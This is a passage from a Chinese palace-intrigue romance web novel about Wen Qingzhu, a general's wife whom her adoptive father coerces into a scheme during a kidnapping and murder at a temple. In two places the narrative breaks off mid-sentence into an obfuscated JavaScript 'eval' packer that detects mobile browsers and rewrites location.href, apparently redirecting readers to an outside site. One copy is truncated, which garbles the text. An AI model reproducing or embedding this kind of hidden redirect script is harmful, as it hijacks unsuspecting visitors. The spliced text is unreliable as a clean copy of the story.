温轻竹以为是做梦,可那“笃笃笃”的声音近在耳边,真实可感。她睁开眼,复又闭上眼,声音还在继续。她只好起身披衣,轻轻走到窗边,敲击声更大了, 这下确信是真的有人敲窗。 “玉露!”喊了好几声,都不见人影,牧方也不知去哪了,这敲窗声实在恼人,温轻竹只得自己解决。 联想到先前发生的事,她仍心有余悸,可没办法,眼下只有自己在房间里,只能大着胆子开窗。 “姐姐,有人让我把这个给你。”一个小姑娘探头道。 这小姑娘着实眼生,衣着倒还算整洁,温轻竹便心生好感,摸了摸她的脑袋,这才低头去看她手心里的物件。 见是个纸团,温轻竹轻轻舒了口气,接过来,“好,谢谢你。” 关上窗子,将纸团缓缓打开,她不由得倒吸了一口气。 只见纸条上写着:今晚亥时,正殿相见,过时不候。 这个字迹,她不陌生。 20. 威胁 温轻竹反复看了好几遍纸条,仍是不可置信。父亲……不,安定侯,他怎么也来了?他又是怎么知道自己也来法恩寺了? 她本可以置之不理,将其扔掉,可想想李嬷嬷,到底还是捏紧了手中皱得不成样子的纸条。 “姑娘,你醒了吗?” 门外是玉露的声音。 没听到回应,玉露又道:“姑娘,我进来了哦。” “快,进去看看,少夫人可千万不要有事。”牧方也在外面祈祷。 温轻竹整理好心情,把纸条重新揉做一团,随手塞到枕头下面,“进来吧,我没事。” “母亲有消息了吗?”温轻竹问道。 “我和牧方刚出去看了看,还是没有。”玉露摇了摇头,随即又宽慰起自家姑娘来,“不过少将军亲自带人去找了,肯定很快就会有消息的。” “崔怜霜呢?她没事吧?” “崔姑娘好着呢,听说外面出了乱子,就把房门紧闭,一直不曾出来呢。”玉露撇撇嘴,“姑娘您还是别为不相干的人操心了。” 温轻竹点点头:“没事就好。” 虽然从玉露的描述里她感觉有些不对劲,可又说不出哪里不对,总觉得她好像疏忽了什么,有一个念头隐隐在心中升起,而后又消失不见,抓也抓不住。 她现在心乱如麻,既不知道萧丞原那边找人进展如何,又不清楚晚上和温尚达见面会面临什么。 有一点可以确定的是,这次八成是那小股北狄势力作乱,且还有内应配合行事,才会在这么多人面前神不知鬼不觉地劫走了两个人。 温轻竹魂不守舍地等着,一直到酉时,萧丞原才从外面回来。 “找到母亲了吗?”少女连忙迎上前去,拿出帕子给男人擦汗。 萧丞原脸色阴沉得可怕,“给我倒杯水。” 温轻竹照做,将水放在了桌上,不敢再开口。 “别让我抓住他们。”萧丞原喝完水,双手紧握成拳,一拳砸在桌上,咬牙切齿地低语道,“可恶!” 温轻竹坐在旁边陪着,过了片刻,等他平静些了才提议道:“要不报官吧?他们肯定会有所畏惧的。” “报官?”萧丞原嗤笑一声,从袖袋里掏出一件物什,“他们眼里就没有王法!” 温轻竹一眼辨认出,那是吴雪离日日戴着,从不离身的镯子。 “难道说,他们动手了?”她被自己说的话吓得打了个寒颤。 她听说有的绑匪很不讲道理,绑了人要银两赎人,得到银两后却不信守承诺放人,反而撕票。 萧丞原拿出软布轻轻擦拭着剑身,仔细端详着他的佩剑,双眼微眯,说出的话却极有震慑力:“他们敢!” 既然有劫人的胆量,那就别怪他追查到底,端了这些人的巢穴,切断他们和闵国奸细的联系。 温轻竹瞧了眼天色,夜幕已然落了下来,便问道:“少将军,忙碌了一下午,你饿不饿啊?我去厨房看看有什么食材,给你做点吃的。” 有他在固然安全,可温轻竹到底是害怕这些打打杀杀的话题。 “不用,没胃口。”萧丞原仍静静地坐着。 不知过了多久,突然开口道:“你爹没跟你说,嫁进将军府要做什么吗?” 怎么突然提到安定侯了,温轻竹心跳加速,想着他应该不会这么快发现吧,面色依旧如常道:“出嫁前,父亲和母亲曾嘱咐我,要孝敬好公婆,服侍好少将军。” “怎么了,少将军?是我哪里做的不好吗?” 摇曳的烛光里,少女的面容格外温婉,她的眼睛那么明亮、无辜。 “没什么。”萧丞原移开视线,不再看她。 他差点就忘了,温尚达与父亲立场截然相反,父亲身为辅国将军,在北狄事务方面向来主战,而温尚达则是主和派的代表。这也是他一直以来怀疑安定侯府主动与将军府联姻有密不告人的阴谋,进而冷落温轻竹的原因,只是一直找不到她的错处,这才诈她一诈。 刚刚一定是疯了,他竟然觉得温轻竹那副模样惹人怜惜。 离亥时越来越近,温轻竹越发坐立不安。萧丞原那么警惕的人,两人共处一室,她要怎样才能溜出去见温尚达。 她柔声劝慰道:“少将军,时间不早了,不如早些歇息吧,找母亲是要紧,可也不能累坏了身子。” “好。”出乎意料地,男人竟没有反对。 他就那么大剌剌地脱掉了上衣,随手搭在椅靠上,匀称白净的胸膛完□□-露出来,肌肉块垒分明,流畅有力的线条一直往下延伸…… “少将军,你……你干什么?”温轻竹顿时脸红的像虾子,急忙用双手挡住眼睛。 “沐浴啊,”萧丞原反问,“你想哪去了?” 男人说完,没有理会她的神情,径直走进了侧间。 听着侧间传来的水声,温轻竹恍然想起,侧间空间狭小,应是没有地方放衣物的。那待会儿,她沐浴的时候怎么办呢,总不能也将衣物除掉再进去吧? 不一会,男人带着一身水气回到外间,坐在了温轻竹的身侧,她明显感受到身下的床震了一下,周围的空气好像也热了几分。 “少将军,你先睡吧,我去沐浴。”温轻竹一下子弹射起身,又转过身来,局促开口,“我能先吹灭蜡烛吗?” “随你。”萧丞原已躺了下来,不甚在意道。 仿佛下定了某种决心温轻竹终于一口气吹灭了蜡烛。 而后背对着床上人,缓缓解开衣带,再一件件除了下来,放在椅靠上,堆叠在他的衣物之上。 可她不知道的是,行军打仗之人经常不分昼夜赶路或是作战,不论是耳力还是目力都超越普通人,而萧丞原夜视能力极佳。 原本他不曾注意的,可耳朵里传来窸窸窣窣的声音时,再联系她先前说过的话,就轻易猜到了她的举动,下意识便看了过去。 萧丞原自觉定力极好,从前在军中,那些被人送来的细作中也不乏长得好看的,更不乏行事大胆的,可他硬是连正眼都没给她们一眼,只冷漠地命下属拖下去审问。 可是今晚,他却不知不觉浑身燥热起来,听着侧间断断续续的水声,一时浮想联翩,毫无睡意。 温轻竹沐浴之后,换了中衣,毫无所觉道:“少将军,歇息吧。” 这床容纳一人尚可,两人就显得拥挤了,为了防止掉下去,温轻竹只得紧贴着萧丞原,极具侵略性的气息就在咫尺之间,她只好一动不动地侧躺着。 心里还想着亥时相见的约定,她不可能睡着,眼看着时间越来越紧迫,她越发不敢轻举妄动。 潜意识里已经过了好久,枕边人的呼吸终于变得均匀缓慢,温轻竹悄悄睁开眼,小心翼翼地扯出被男人压住的衣角,蹑手蹑脚走出房间。 孰不知,她刚关上门,男人便敏锐地坐了起来,正要穿衣之际,却从床上摸到一个纸团。 晚上的法恩寺清寂、幽深,幸而明月高悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以说,从一开始他就不看好这桩婚事,也绝不可能让嫡女嫁给萧丞原。他知晓骆宜秋母女的所作所为,甚至还在暗中推波助澜,只为让她这个养女代替温紫衣执行任务以及承担一切风险。 “聪明,”温尚达略带赞许道,“不愧是在侯府长大的,这么多年爹没白养你。” 温轻竹站在对面默然不语,她想如若不是怕被人发现,他此刻恐怕已经鼓起了掌。 难怪他这么多年对自己不闻不问,任凭骆宜秋母女欺凌她,甚至纵容府上丫鬟折辱她。他收养她,不是因为信了李嬷嬷那套说辞,而是为了有朝一日她能作为安定侯府的棋子,去替他达成不可告人的目的。 “如何,想好了吗?”温尚达见她不语,又把那瓶五石散往前递了递,“爹可就靠你了。” 温轻竹只得接过,冷冷道:“我要李嬷嬷平安无事。” 事已至此,她也没必要顾及所谓的父女情分,不再称他为父亲。 “不愧是我看重的女儿,”温尚达挑眉,“成交。” 温轻竹只觉一阵恶寒。 没有理会殿中的温尚达,她捏着那冰凉的瓶身走出正殿,方才的从容冷静荡然无存,她缓慢移动着步伐,恍恍惚惚地往回走。 她没有注意到,暗处一个黑影一闪而过,朝着客房的方向去了。 21. 心思 温轻竹一路上心事重重的,到了客房,才想起手上还紧握着那瓶五石散,冰冷的瓶身已然被她捂热了。 她深深吐息了一次,把五石散装进袖袋里藏好,轻轻把门推开一条缝,借着月光瞧见床上的人影还保持着之前的姿势,这才安心许多。 温轻竹躺回了床上,今晚的事情令她很难静下心来入睡,偏生这床又窄,她不得不紧挨着萧丞原,可想着温尚达的交代,她又如何面对他,如何维持表面的相敬如宾? 她闭上眼睛,脑海里一会浮现李嬷嬷的脸庞,一会又闪现萧丞原的身影。答应温尚达是不得已而为之,只因李嬷嬷还在侯府,她不能不顾李嬷嬷的安危。可萧丞原是骁勇善战、保家卫国的将军,他没有做错什么,她不能害了他。 感受着身边人炙热的体温,不知过了多久,温轻竹才堪堪入睡,再睁眼已是天光大亮,身边空无一人,只剩冰冷的床铺。 想起昨晚的事,温轻竹摸了摸袖子,还好,东西还在,这说明萧丞原还没有发现。虽然她还没想到一个两全其美的法子,但潜意识里怕他知道了加深对自己的误解。 “玉露!”整理好思绪,她就唤了玉露进来。 玉露连忙跑了进来,“姑娘,你醒了。” “几时了?” “快巳时了。”玉露一边给自家姑娘梳头发,一边感慨道,“少将军真是孝顺啊,天还未亮就去寻老夫人了。” 巳时?温轻竹一惊,怎会这么晚,再想起昨晚温尚达说的话,问道:“母亲有消息了吗?” “还没有,”玉露插上发簪,端详着自家姑娘的发髻,“不过应当快了吧,姑娘怎么这么紧张?” “有吗?”温轻竹触到袖袋里的东西,看了下镜子里的自己,脸色的确不太好看,示意玉露上点珍珠粉,“我只是太担心母亲了。” 用了点玉露一早去厨房领的素糕,温轻竹决定出去看看。 吴雪离和弘让法师是在禅房失踪的,那么他们多半被藏在离寺庙不远的地方。此事多半和温尚达有关,他们应当没事,只是对方需要达成某种目的,暂时将人藏了起来。 主仆二人在寺庙里漫无目的地转了一圈,无果,玉露正要劝自家姑娘回去休息下,却见牧方急急忙忙地跑了过来。 “少夫人,可算找到你了!”牧方擦了把汗,神情十分激动,“老夫人找着了!少将军派我先过来告诉你。” “太好了!”温轻竹欢喜地捏着玉露的手,转而又担忧道,“母亲没受伤吧?” “没有,老夫人只是受到惊吓晕了过去,别的没什么大碍。” “那就好。”温轻竹悬着的心终于放下了。 只是她不明白,他们为何还要劫走弘让法师?劫走吴雪离大概率是为了警示萧丞原,弘让法师是得道高僧,信众庞多,劫走他又有什么好处? 温轻竹这样想着,便问了出来:“弘让法师呢?找到了吗?” “弘让法师他……已经圆寂了。” 牧方说罢,温轻竹还未来得及消化这个震惊的消息,就听到钟声再次响起,随即法恩寺一众僧人面色沉痛地奔向寺门,年长些地僧人当即念起《金刚经》,而入门不久的小沙弥有的止不住失声痛哭。 温轻竹站得远,但耳边连续不断地诵经声和哭声,令她也深切体会到僧人们的悲伤。同时她也不相信,昨天才见过的弘让法师,怎么就遭遇不测了?也不知道这事和温尚达有没有关系,若是有关系,有朝一日真相大白,安定侯府出身的她又会面临怎样的处境? 怀着难以言表的心情,她被玉露扶着回到了客房。他们只当她是被吓到了,刚坐下,玉露就让牧方去给她烧热水。 “姑娘,快喝口水压压惊!”热水烧好后,玉露连忙倒了一杯水。 “太烫了,放这里我一会儿喝。”温轻竹盯着那杯水出神了片刻,随即开口,“你们先出去吧,我想一个人待会儿。” 玉露一步三回头道:“那姑娘一定记得喝水哦!” 真是奇怪,姑娘起床后便一直心神不宁,也不知道姑娘在想什么。 玉露郁闷地和牧方一同守在门外。 她扯掉衣摆上多余的线头,随手把玩着,“哎,你说少将军什么时候才能接纳我家姑娘啊?” “问这个干嘛?”牧方一脸警惕,“少将军的事岂容我等妄加猜测。” 上次已经罚得够重了,他可不想又被少将军罚。 “问问嘛,真小气。”玉露把头偏向一边,看也不看牧方。 牧方想起上次的惨痛教训,叹了口气:“少将军的心思我也猜不透,可能只有他自己清楚了。” 虽不知玉露知道多少, 他也不敢在这个时候提起那表姑娘的事。 -- “懒懒散散成何体统,少夫人呢?” 只见萧丞原大步踏了过来,刚还在说闲话的两人立时站直了身子,特别是牧方,心虚得不敢看自家少将军,他知道少将军的耳力有多好。 “少夫人在房间里。”牧方低头答道。 萧丞原别有深意地瞧了他一眼,什么也没说,便推门而入。 玉露犹在揣测,虚心求教道:“少将军刚刚那个眼神是什么意思啊?” “要遭殃的意思,”牧方已然一副生无可恋的表情,“你可把我害惨了。” 玉露不服气道:“问你你又不肯说,现在还怪我。” “是你自己愚钝。”牧方也没好气道。 相比于外面的热闹,客房内可谓冷清至极。 温轻竹静坐在桌旁,那杯热水依旧还在原先的位置上,她一口未动。 方才听到萧丞原与牧方说话的声音,她努力调整好心情,想着该以笑容迎接他,却在听见门响时突然泄了气。 不论对方是谁,弄出这么大的阵仗,不用想都知道是冲他来的,甚至还闹出了人命,这会不会让本就还没放下戒心的他怀疑到自己身上还不好说,再加上昨晚的事,她实在是没有精力再维持表面的平和。 “听说你一直在房间待着,可是吓坏了?”萧丞原解下脏污的外袍,盯着少女的神情问道。 “我没事。”温轻竹定了定神,为他倒了一杯茶,“少将军在外奔波寻人,辛苦了。” 萧丞原喝了水,面色稍缓,“好在母亲无碍,我也就放心了。” “母亲吉人自有天相,我就知道她一定会平安回来的。”温轻竹捋了捋耳侧的碎发,眼角瞟过身边的男人,试探道,“不知少将军是怎么找到母亲的?” 虽不知是什么人执意与他为敌,她只想知道那人有没有留下什么线索,而这线索和安定侯府是否有关。 “今日一早,我就带人继续搜寻,却一无所获,回来时却有人在法恩寺前的竹林里看到弘让法师的僧袍,我急忙下令进竹林探查,很快在竹林深处发现了晕倒的母亲,以及弘让法师的遗体。” “周围并无打斗痕迹,也没有留下能证明对方身份的物件。” 萧丞原顿了顿,继续道:“不过,弘让法师身上的刀伤并非一击致命,看样子应是认识 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萧丞原自是没有理会,温轻竹弄不懂他的想法,见他没有开口的意思,只好回复道:“辛苦你侍奉母亲了。” 吴雪离经此一难,精神头难免不足,虚弱道:“原儿,轻竹。” “母亲。”两人异口同声道。 萧丞原蹙眉,下意识瞥了温轻竹一眼,后者却似毫无所觉,只担忧地看向吴雪离。 崔怜霜暗暗将手上的帕子绞了又绞。 温轻竹握住吴雪离的手,低低道:“母亲受苦了。” “我这不没事吗?”吴雪离安抚性地拍了拍儿媳的手,又对儿子不满道,“不是让你照顾好轻竹吗?怎的让她脸色这般差。” 萧丞原脸色霎时很不好看,瞪了温轻竹一眼,语气生硬:“都是儿子的错。” 昨晚的事他还没问她呢,说不好母亲被人劫走和她有关才做贼心虚吧,结果母亲一回来就这么关心她,真是不该让她跟来。 压住眼底翻涌的情绪,萧丞原复又开口:“母亲可喝过压惊药了?” “表舅母都喝了。”崔怜霜指了下桌上的空碗,颇有邀功的意味,“原哥哥来之前,我便服侍着喝了。” 瞧了眼安安静静站在旁边的妻子,萧丞原突然有了计较,温声道:“多谢。” “这都是分内之事,都是一家人,原哥哥不必这么客气。”崔怜霜喜不自胜道。 吴雪离也道:“是啊,霜儿是个细心的好孩子。” 仿若他们才是一家三口似的,温轻竹听着他们一来一回的对话只觉刺耳,当下说道:“母亲,少将军,我有些不适,先回去了,晚点再来看母亲。” “想来便来,想走便走,你当这是什么地方?”萧丞原想想她昨晚到今日的种种表现,口不择言道,“莫非,你对母亲的担心也是装出来的?” 吴雪离见儿子说话刺人,虽不知二人是怎么回事,但也立即开口斥道:“原儿,休要胡说!” “原哥哥寻了表舅母许久,许是累了才这样说。”崔怜霜眼波流转,打了个圆场,“表嫂可千万别同原哥哥置气。” “怜霜多虑了,”温轻竹又朝吴雪离道,“有少将军和怜霜在,想来母亲也不会闷,儿媳便先告退了。” 两人一唱一和的,倒显得自己多余,她有什么立场同萧丞原置气呢?还是先离去的好,左右母亲已无大碍了。 温轻竹走后,萧丞原很快恢复了冷淡的模样,对崔怜霜的百般讨巧只做视而不见。 22. 查明 萧丞原本来只打算在法恩寺住上一晚,第二日便返程,可不巧当日便出了事,现下好不容易找回母亲,只得再修整一晚回去。 对此,温轻竹自然没有异议,只是经历了白天的事,她自然不愿出现在他面前,免得碍了他和旁人的眼。 眼下法恩寺已是是非之地,不宜过多走动,不过在寺内走走也无妨。 温轻竹由玉露陪着,不知不觉便走到了姻缘树前。这是一株千年银杏,长势极好,深绿色的叶子犹如一柄柄小扇随风轻轻摆动着,树上挂满了姻缘签,看得出来人们把美好的期望都寄寓在此。想着自己如今的处境,以及本就错位的姻缘,温轻竹苦笑着摇了摇头。 “少将军着实可恶,他明知道姑娘有多担心老夫人,可一看见崔姑娘就跟换了个人似的,眼里哪还有姑娘。”玉露愁眉苦脸的,为自家姑娘打抱不平。 听了这话,温轻竹也不恼,她用手放在额前,透过银杏树繁密的枝叶,只见丝丝缕缕的阳光照射了下来,缓缓开口道:“这天底下哪有那么多好姻缘,若能事事如意,这树上怎会挂满姻缘签?” 她早就听李嬷嬷说过,这世上貌合神离的夫妻不计其数,皇上三宫六院妃嫔无数,惹得妃子们争斗不休,安定侯也有好几个妾室,嫡母和姨娘们为争宠也使出尽了心机手段。易求无价宝,难得有心郎,她没有期待过夫君待自己有多好,可事到眼前难免有几分伤感。 玉露捡起一片被风吹落的银杏叶,凑近鼻尖闻了闻叶子散发的清香,点头道:“姑娘说的对。” 虽然她不是很能理解这话,但姑娘总有姑娘的道理,姑娘说的总是对的。 “温姐姐,我可算又见到你了!” 少女正看着满树的姻缘签出神,突然被人打断思绪。 温轻竹转身,对颜心蕊笑了笑,“你怎么来了?” “别提了,温姐姐,我都快闷坏了。”颜心芮肉肉圆圆的脸纠结成一团,更显可爱,她转身对跟过来的两个丫鬟下令,“都说了别跟过来,现在看到我来找温姐姐了,可以回去告诉母亲了,不用杵在这里搅扰我和温姐姐的兴致!” 两个丫鬟对视一眼,其中一个大胆开口:“可是……” 颜心蕊双手叉腰,自以为凶巴巴道:“别可是了,我也是需要自由的,你们知道我脾气,把我惹怒了,娘亲和爹爹定不轻饶!” 两个丫鬟这才一步三回头地离去,只是脸上都写满了担忧。 “娘亲就喜欢大惊小怪,温姐姐别在意。”颜心芮朝温轻竹解释道。 温轻竹眉心微蹙,温声劝道:“可是寺里刚才出过事,你娘亲也是放心不下才让她们跟来的,你身边一个人都不留真的可以吗?” “这些年都这样,我早都受够了。”颜心芮语气苦恼,“我也不是烦她们,可我真没有娘亲想象得那么脆弱,我能保护好自己的。” 见温轻竹不信,颜心芮只好转移话题,“不过,温姐姐你来这里干嘛?” “是来祈求与你夫君琴瑟和鸣的吗?” 温轻竹脸色微僵。 “你夫君太凶了,”颜心芮想到萧丞原,仿佛又感受到了当时那似乎被冻住的冷意,不由得抖了下,“不提他了,温姐姐,我今天来是有好东西要送给你。” “什么好东西?”温轻竹顺着她的话问道。 “就是这个!”颜心芮高兴地从袖袋里掏出个小瓷瓶,“这是最近长安城最近风靡的蔻丹,只需薄薄一层涂在指甲上,稍等片刻便可使指甲变成红色,好看极了。这是旁人送给我娘亲的,我缠了娘亲许久才得来的。” 温轻竹揭开瓶盖轻嗅,闻到了一股淡淡的清香味,复又将盖子盖了回去,“这么贵重的东西,我怎么好用呢?心芮,你还是拿回去自己用吧。” 颜心芮并不接,只道:“没事,温姐姐你也该好好打扮一下,你生得美,随便打扮打扮就能艳压群芳,到时候哪个男子不多看你一眼,谁不比那凶巴巴的少将军强?温姐姐又何愁没有好姻缘。” “心芮,快别说了,我收下就是了。”温轻竹哭笑得,没想到颜心芮足不出户竟能有这等见识。 不远处,茂密的树林里,负手而立的男人脸色更加阴郁。 “让你查的事情,都查清楚了吗?” “回少将军,都查清楚了。”肃玄踌躇不定,低着头一时不敢开口。 萧丞原微眯着眼,似是克制着什么,“说出来,把你查到的都说出来,不要遗漏一丝一毫的细节。” “少将军,其实……原本要嫁与您的是安定侯府大姑娘温紫衣,可不知怎的成亲那日却换成了少夫人,安定侯府上下似乎全都隐瞒了此事。” 肃玄起初有些不知如何启齿,可一旦开了头说下去就容易许多了。 “还有,”他瞟了一眼少将军的神色,继续说了下去,“少夫人其实不是安定侯的女儿,听说幼时被一个老嬷嬷抱着投奔来了侯府,不知怎么说服安定侯同意收养了她。然则侯府流言肆虐,侯夫人一直认为少夫人是安定侯与旁人生的私生女,因此打小不待见少夫人,甚至纵容府里下人欺负她……” 肃玄说到这里,已不忍详细说下去他查出的关于少夫人的桩桩件件的事情,少夫人这些年在侯府的处境着实令人心疼。 “知道了,下去吧。”萧丞原的话里听不出什么情绪。 肃玄一愣,没有明白少将军的意思。 萧丞原见他仍愣在原地,又摆摆手:“你先下去,此事我自有安排。” 关于温轻竹的事,他早有怀疑,先前种种端倪都指向了这样的结果,可他却总觉她是安定侯安插进将军府的棋子,觉得她至少和安定侯府有着共同的目的。他早该查了,只是有时见她那勤勉乖顺的模样,每每都忘了此事。 直到昨晚,发现她与安定侯温尚达会面,才决定查清楚关于她的一切,不曾想竟查到了这些,一时之间他也不知该如何处理。 一方面,他被欺骗确实可恶,可从另一方面来讲,他毕竟需要一位妻子,不论是对他还是对将军府而言,眼下没有人会比温轻竹做得更好。至于昨晚温轻竹与温尚达见面之事,他只做不知,必要时刻将计就计便是。 萧丞原刚在心里思量一番,正欲走向姻缘树下的妻子,却见牧方匆忙赶了过来,“少将军,贵人来了!” “是谁?”萧丞原皱眉道。 法恩寺香火鼎盛,香客中不乏王公贵族,甚至皇室中人。可贵人们来法恩寺一般会提前说明并清场,寺内僧众一时专为贵人效劳,倒没有这般突然来访的先例,加之先前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109573|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生的事情,这令他不得不谨慎起来。 牧方凑近他,轻声说了两个字。 萧丞原顾不得姻缘树下的少女,大步走向相反的方向,“走,快去准备,别让贵人着恼。” 他赶到时,太子傅景朗已坐下品茶,对面的住持冷汗涔涔,如坐针毡。 萧丞原拱手道:“不知太子殿下到访,真是失礼。” “无妨,孤只是奉父皇之命来法恩寺瞧瞧,你们不必这般拘谨。”傅景朗粲然一笑,倒显出几分和气来,他又对萧丞原继续道,“萧小将军年轻有为,父皇多次在孤面前夸你。” “不敢当。”萧丞原不知他葫芦里卖的是什么药,只好顺着他的话说。 熟知太子的人,都知晓他只是表面上待人和善,与其交谈时常有如沐春风之感,可若不慎惹他不快,背地里可有的是阴狠手段,令人痛不欲生。 “这就过谦了,”傅景朗不以为然,接着说道,“你到底比我先来一日,说说看,弘让法师的死可有蹊跷?正好,让住持也听听。” 萧丞原视线轻移,看见住持不住地擦汗,口中喃喃念着佛号,说道:“末将遵命。” “末将找到弘让法师时,他正在竹林里,”萧丞原顿了顿,“末将母亲也被歹人所劫,晕倒在不远处。” “哦,令堂如今可无恙了?”傅景朗随口问道。 “多谢殿下关心,已经好多了。”萧丞原知道这只是客套话,接着道,“末将带下属赶过去时,弘让法师已没了气息,只是……其脖颈处有一处致命伤,似是被内力深厚之人捏碎喉管所致。” 傅景朗感叹道:“唉,真是残忍哪,何人敢如此大胆,残害我闵国得道高僧?” 手上的珠子被他用力捏着,好像随时要崩开似的。 萧丞原忙道:“末将无能,尚未查明。” “谅你也查不出,孤这不就来了吗?”傅景朗眼神微变,指了指一旁的住持,“你先出去,孤与萧小将军还有要事商议。” “是。”住持连忙快步走出屋子,一刻也不愿停留。 “萧小将军才新婚不久吧?”傅景朗状似不经意地摩挲着手里的珠串。 萧丞原心里有了不好的预感,只答道:“是。” 父亲先前说的果然没错,太子殿下是一众皇子中心机最深沉、最不好相与之人。 傅景朗笑意更深,只是这笑意不达眼底,“听说你母亲和夫人都在法恩寺,是吗?” “是的,殿下。”萧丞原回道。 傅景朗没有再问下去,而是悠悠开口道:“弘让法师声名显赫,不能就这般被残忍杀害,孤来此正是为了还法师一个公道。” “敢问殿下需要末将做些什么?”萧丞原略一思索,心里跟明镜似的,大致明白了太子的用意。 傅景朗一再提起自己的家人,不过是隐隐威胁他配合其行事,不论是否真要查明弘让法师被杀害的真相,他都要自己配合给出他所满意的答案。 “萧小将军果真聪明过人,”傅景朗笑着拍起手来,“孤只需要你待在法恩寺,直至查出弘让法师被害真相,给法恩寺僧众一个交代。” “作为交换,孤会保你家人安然无恙回到府中。” “末将谢过殿下。”萧丞原拱手道。 23. 新商机 翌日,难得没出太阳,一早起床便看见天空乌云密布,树枝随风摇动着,看样子随时要下起雨来,平添了几分压抑感。 收拾好行李,温轻竹推开窗户,望着窗外的景象沉默不语。 “姑娘,还是把窗子关上吧。”玉露上前关好了窗子,看向自家姑娘,“不用担心少将军,他既然说了没事就一定会没事。咱们和老夫人先回家等着,没准过两天他就回来了。” 温轻竹否认道:“我何时说过担心他了?” “姑娘嘴上是没说,但分明都写在脸上了。”玉露打趣道。 “温姐姐,你在吗?” 主仆俩正说着话,听见外面敲门的声音。 玉露当即小声吐槽道:“咦,真恶心,和谁套近乎呢?” 温轻竹竖起食指贴着唇畔“嘘”了一声,随后朝门外道:“我在,怜霜你进来吧。” “我收拾好了,表舅母问怎么没看见原哥哥,这可怎么说啊?”崔怜霜一进门,便愁着脸道。 温轻竹道:“不用担心,一会我去与母亲说。” 崔怜霜仍旧不太放心,得温轻竹再三保证后这才离去。 等人走远了,玉露边检查是否有遗漏忘带的东西,边说道:“不过一个寄人篱下的表姑娘,怎的还把自己当半个主子了,瞎操什么心啊?” “真是,在将军府住了几日便忘了自己身份了。” 温轻竹听玉露抱怨了几句,打断她道:“好了,玉露,隔墙有耳。” “姑娘。”玉露有些不满。 温轻竹只道:“你随我去看看母亲吧。” 玉露说的她当然赞同,只是眼下崔怜霜还没惹出什么乱子,反而和母亲关系处得极好,再加之中间还有个萧丞原,她也不好插手处理此事,只希望在她们攒够银子离开将军府之前维持原状就好。 温轻竹到时,吴雪离正在房间唉声叹气,旁边的江嬷嬷怎么劝都劝不住,见她来了,如握住了救命稻草一般,忙道:“少夫人,你来了,快劝劝老夫人。” 说罢,便去一旁倒茶了。 温轻竹去吴雪离身后,帮她按摩着头部,“母亲不必忧心,少将军也是一片孝心,他之所以不与我们一块儿回家,是为了查清母亲被劫之事,您就成全少将军的心意吧。” “可原儿怎么不亲自来跟我说?我还是觉得这事有些不对劲。”吴雪离微微睁眼道。 昨日下午,萧丞原只派了牧方回来与她和母亲知会了一声,说要留在法恩寺查案,自个儿却没有现身,晚上也没有回房歇息。 温轻竹问了牧方才知晓,太子来了,并以家人要挟萧丞原留下查案,至于太子想要什么结果就不得而知了。 “少将军正忙着呢,”温轻竹为她按揉着,说道,“法恩寺这么大,每日接待香客不计其数,鱼龙混杂,最易藏匿坏人,且这线索越早查出越好,少将军一定是想尽快揪出那个坏人,让其绳之以法,也为您出了这口恶气。” “嗯,你说的也有道理。”吴雪离眉头舒展了许多。 好不容易哄好了吴雪离,温轻竹刚要吩咐随行的下人准备动身,颜心芮就跑来了。 “温姐姐,我不想回去。”颜心芮拉着温轻竹的手摇晃着,“回去了就不容易出来找你玩了。” 旁边跟着的丫鬟婆子俱是一脸无奈地看着自家姑娘,生怕一个不留神她又跑没影了。 颜心芮似乎毫无所觉,不等温轻竹回答,拍了下脑门,灵光一现道:“诶,温姐姐,你能不能和萧小将军商量一下,我想陪姐姐在这里再住两天。” 众人脸色俱是一变,都暗暗在心里为这个不知世事的少女捏了把汗。 “心芮,别说笑了,这事不是少将军能决定的。”温轻竹竭力维持着僵笑的表情,耐心劝道,“这次也是事出有因,太子殿下既然下决心查明真相,自然不会再让闲杂人等打扰。眼下法恩寺已是是非之地,还不知道那行凶之人是否藏匿其中,为今之计还是回府的好。” 见颜心芮有些泄气,温轻竹只好安慰道:“待回去后,我们也可时常走动走动,不至于生分疏离。当务之急是尽快离开此处,你快回去收拾吧。” “那好吧,都听温姐姐的。”颜心芮依依不舍地往回走,她的丫鬟婆子赶紧跟上,走之前还不忘朝温轻竹投来感激的目光,而后便匆匆跟上主子。 “颜姑娘命真好。”瞧着人走远了,玉露不由感慨道。 温轻竹道:“何出此言?” “姑娘,你看她,出身丞相府,又是颜丞相的老来女,全家都宝贝得不得了,把她护得跟什么似的,天真烂漫,很多事情都不知晓,唯一的烦恼就是不能自由地出去玩。明明她和姑娘年龄相仿,但却天差地别。” 最后一句话温轻竹深有体会,她笑道:“天真有天真的好处,但什么都不知道也不一定就好。” 就像她,从小不受待见,事事都要自己来。她知道,只有自己努力争取,才能得到自己想要的。若自小处境优渥,猛然面临当下在将军府这般处境,她未必会生出攒钱逃离的想法,那未免也太可怜了。 收回这些莫名的思绪,温轻竹示意玉露带上包袱,“好了,母亲应该收拾好了,我们去找母亲吧。” 尽管十分担心儿子,在儿媳的劝说下,吴雪离还是随着温轻竹一同走了。 -- 只是少了个人,将军府却似冷清了不少,萧鸿晟每日亦是一副心事重重的样子,连带着萧怀雁都不敢再逃课了。 萧丞原不在,温轻竹倒是自在了许多,东院的下人们也不必每日提心吊胆地看少将军脸色,气氛热络了不少。 趁着没人注意,温轻竹抽了时间去那日的茶肆见纪良衡。 下午的日头不算太烈,街上叫卖声络绎不绝,游人如织,温轻竹仍戴好帷帽,和玉露低调行事,去了茶肆。 约定的最后期限便是今日黄昏,好在她赶了过来。 